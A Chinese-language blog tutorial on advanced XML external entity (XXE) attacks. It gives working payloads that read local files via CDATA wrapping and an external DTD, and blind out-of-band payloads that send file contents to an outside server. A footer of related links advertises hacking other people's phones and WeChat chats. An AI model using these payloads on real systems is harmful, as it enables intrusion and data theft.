XXE漏洞详解——进阶篇

访客4年前黑客工具1098

在XXE漏洞讲解——基础篇?中,XXE的基本原理还有简单的文件读取利用方式我们已经有了基本的了解,那么接下来就带来我们的XXE漏洞详解——进阶篇!

上篇我们本地搭建xxe漏洞环境尝试了读取system.ini文件,这是最基本的一种xxe漏洞利用方式,但是实战中往往会遇到很多的问题,也需要更多中多样的利用方式和技巧,本片就给大家一一介绍~

读取文件时有特殊符号

在读取文件时,文件中包含"<,>,&"等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败,例如尝试读取以下文件

C: est.txt

内容:

<Baize Sec>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&ampxxe;</creds>

1607183441_5fcbac51be8a7f781bccd.png!small

可以看到与读system.ini不同,这里报错了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符数据(Parsed Character Data)。

XML 解析器通常会解析 XML 文档中所有的文本。

当某个 XML 元素被解析时,其标签之间的文本也会被解析:

<message>此文本也会被解析</message>

解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name>元素包含着另外的两个元素(first 和 last):

<name><first>Bill</first><last>Gates</last></name>

而解析器会把它分解为像这样的子元素:

<name>
<first>Bill</first>
<last>Gates</last>
</name>

CDATA

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。

"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:

<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。

关于 CDATA 部分的注释:

CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。

标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。

我们的思路就是把读取的文件放在CDATA中之后再调用,那么构造一个POC如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>

但是还是读不出来,如下图:

1607183478_5fcbac76c64f080fb3a5d.png!small直接放正确的payload,然后再讲解原因

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]>
<root>&ampall;</root>

http://aaaaahui.com/evil.dtd

<!ENTITY all "%start;%go;%end;">

1607183487_5fcbac7fa4f73085875de.png!small可以看到这个payload是可以成功读取文件的,对比两个payload

1607183499_5fcbac8b9b55d80810186.png!small


1607183507_5fcbac93835c218916471.png!small

两个payload的逻辑都是一样的,不过第二个是调用的外部的dtd文档就可以,这是因为在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

无回显xxe漏洞利用

现在很多xxe漏洞都是没有回显的,下面是再没有回显的时候可以的利用方式。

思路就是在没有回显的时候,我们将读取的文件带出来,举一个例子就是,我们如果将/etc/passwd文件赋给实体test,那么我们在访问http://www.aaaaahui.com/?%test时,我们服务器上的日志文件就会保存/etc/passwd的文件内容,下面进行实验:

<?xml version="1.0"?>
<!DOCTYPE message [ ? ?
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start

%是%的html实体编码,因为在xml.dtd的实体中不能有%

实验如下图

1607183516_5fcbac9c89546b2fb236f.png!small

查看日志文件

1607183525_5fcbaca5ca6bd9c3dd452.png!small

这里我们读取的文件已经带出来了,那么原理就是将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。

以上就是本篇的所有内容了,学习了网上其他作者的讲解,我这里比较基础,但是也尽可能详细了,xxe漏洞还有许多其他的利用方式,放在一起害怕基础较弱的小伙伴消化不了,所以后面再出一篇最终篇来介绍xxe漏洞其他的利用方式好了,敬请期待~

相关文章

UC大鱼号怎么赚钱?如何利用大鱼号月入过万

大鱼号现在的地位可以跟头条号、企鹅号相提并论,号称自媒体界的“三驾马车” 今天给大伙讲讲大鱼号这匹“汗血宝马”该如何驾驭,如何挣钱。 当年初入大鱼号,他们的口号就很有吸引力: “一点接入,多点分...

如何查看别人手机上的微信聊天记录信息

小朋友们碰见自己喜欢吃的食物都会一顿猛吃,但是这样很容易出现积食的情况,碰见那些不好消化的更要控制吃的数量,比如元宵节的汤圆就不能多吃,那么八岁宝宝能吃几颗汤圆,8岁宝宝吃什么汤圆好。下面友谊长存的小...

可以黑入别人手机吗(如何用手机黑别人手机)

可以黑入别人手机吗(如何用手机黑别人手机)

本文导读目录: 1、怎样黑别人的手机? 2、怎么样才能黑一个手机? 3、刑法非法入侵他人智能手机,恶性删除重要信息,偷看个人隐私犯法吗? 4、能不能黑进别人手机?? 5、用手机黑进别人...

旅游加盟店的盈利模式(5元童装加盟店)

  伴随着愈来愈优秀的服饰机器设备,一件服饰的产品成本大幅度降低,一件宝上的一些儿童童装乃至小于一元,因此 即便是市场价三四元的服饰也会能够赚钱。“加盟代理5元童装店”的运营模式关键靠垄断竞争市场,因...

哪个牌子的压力电饭锅好?这10个品牌值得您选择

哪个牌子的压力电饭锅好?这10个品牌值得您选择

很多人在选择压力锅的时候总是会先关注“压力锅哪个牌子好”,忽略了其本身的质量,那什么样的压力锅好呢?下面我们就来看下哪个牌子的压力锅好呢,压力锅选购技巧。 哪个牌子的压力锅好呢 电压力锅品牌排...

vr我的世界黑客(我的世界VR游戏)

vr我的世界黑客(我的世界VR游戏)

本文导读目录: 1、我的世界怎么黑客 2、我的世界1.0.0.4的黑客指令 3、听说我的世界服务器被黑客攻击,现在情况怎么样了 4、我的世界怎么当黑客呀 5、我的世界黑客端sigma,...